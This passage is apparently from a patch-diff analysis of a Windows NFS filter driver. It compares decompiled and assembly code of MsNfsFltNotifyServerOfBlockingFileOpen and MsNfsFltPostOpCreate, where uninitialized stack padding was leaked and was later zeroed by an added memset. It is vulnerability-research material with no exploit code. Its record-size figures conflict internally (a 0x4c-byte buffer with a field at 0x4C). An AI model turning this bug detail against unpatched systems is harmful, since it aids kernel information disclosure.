&lt;h3&gt;Unpatched &lt;code&gt;MsNfsFltNotifyServerOfBlockingFileOpen&lt;/code&gt; (&lt;code&gt;0x1C0009C50&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;MsNfsFltNotifyServerOfBlockingFileOpen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;_FLT_INSTANCE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;_FLT_CALLBACK_DATA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x4c&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// [rbp-0x30], NOT zero-initialized&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... FltGetFileNameInformation / FltCreateFile / ObReferenceObjectByHandle /&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//     FltQueryInformationFile (FileInternalInformation, FileStandardInformation) ...&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Builder writes named fields only; padding at +0x04 and +0x14 stays stale.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;MsNfsFltServerCallInformationInitialization&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FileInformation&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// flags field at record+0x10 is updated from partially populated data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFFFFF6F&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;BYTE5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v21&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Iopb&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Parameters&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Create&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Options&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MsNfsFltOperationBegin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// record padding still stale&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched &lt;code&gt;MsNfsFltNotifyServerOfBlockingFileOpen&lt;/code&gt; (&lt;code&gt;0x1C0009DA8&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;MsNfsFltNotifyServerOfBlockingFileOpen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;_FLT_INSTANCE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;_FLT_CALLBACK_DATA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x4c&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// [rbp-0x30]&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// FIX: zero the full record before use&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... same acquisition sequence ...&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;MsNfsFltServerCallInformationInitialization&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FileInformation&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// padding at +0x04 and +0x14 is now guaranteed zero&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Second fixed site: &lt;code&gt;MsNfsFltPostOpCreate&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The same record is built on the post-create activity path. Unpatched (&lt;code&gt;0x1C0008BB0&lt;/code&gt;) calls the builder at &lt;code&gt;0x1C0008D25&lt;/code&gt; with no prior zeroing of &lt;code&gt;var_70&lt;/code&gt;. Patched (&lt;code&gt;0x1C000A080&lt;/code&gt;) prepends &lt;code&gt;memset(&amp;amp;var_70, 0, 0x4c)&lt;/code&gt; at &lt;code&gt;0x1C000A0B6&lt;/code&gt;, before any other work in the function.&lt;/p&gt;
&lt;h3&gt;Activity record write map (both builds, &lt;code&gt;MsNfsFltServerCallInformationInitialization&lt;/code&gt;)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th style="text-align: right;"&gt;Size&lt;/th&gt;
&lt;th&gt;Written by builder&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x00&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;4&lt;/td&gt;
&lt;td&gt;Yes: flags (constant &lt;code&gt;1&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x04&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;4&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;No — uninitialized padding&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x08&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;8&lt;/td&gt;
&lt;td&gt;Yes: &lt;code&gt;a2&lt;/code&gt; (file id / type indicator)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x10&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;4&lt;/td&gt;
&lt;td&gt;Yes: operation flags&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x14&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;4&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;No — uninitialized padding&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x18&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;8&lt;/td&gt;
&lt;td&gt;Yes: file information (file internal id)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x20&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;8&lt;/td&gt;
&lt;td&gt;Yes: &lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x28&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;8&lt;/td&gt;
&lt;td&gt;Yes: &lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x30&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;8&lt;/td&gt;
&lt;td&gt;Yes: &lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x38&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;8&lt;/td&gt;
&lt;td&gt;Yes: &lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x40&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;4&lt;/td&gt;
&lt;td&gt;Yes: &lt;code&gt;0xFFFFFFFF&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x44&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;4&lt;/td&gt;
&lt;td&gt;Yes: &lt;code&gt;0xFFFFFFFF&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x48&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;4&lt;/td&gt;
&lt;td&gt;Yes: &lt;code&gt;0xFFFFFFFF&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x4C&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;4&lt;/td&gt;
&lt;td&gt;Yes: &lt;code&gt;0xFFFFFFFF&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The record spans &lt;code&gt;0x00&lt;/code&gt;–&lt;code&gt;0x4F&lt;/code&gt;; the added &lt;code&gt;memset&lt;/code&gt; covers &lt;code&gt;0x00&lt;/code&gt;–&lt;code&gt;0x4B&lt;/code&gt;, which includes both padding gaps. The &lt;code&gt;0x4C&lt;/code&gt; field is written by the builder in both builds.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Unpatched &lt;code&gt;MsNfsFltNotifyServerOfBlockingFileOpen&lt;/code&gt; (&lt;code&gt;0x1C0009C50&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;The record lives at &lt;code&gt;[rbp-0x30]&lt;/code&gt; and is never zeroed before the builder runs. The relevant tail of the function:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E1A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;FileInformation&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E1E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E22&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;160&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;IoStatusBlock&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E27&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_90&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; rcx = &amp;amp;record ([rbp-0x30]), UNINITIALIZED&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E2B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; r8 = a3&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E2E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;160&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;ObjectAttributes&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E33&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; rdx = a2&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E36&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;MsNfsFltServerCallInformationInitialization&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E3B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; a3-&amp;gt;Iopb&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E3F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_30&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E43&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E46&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
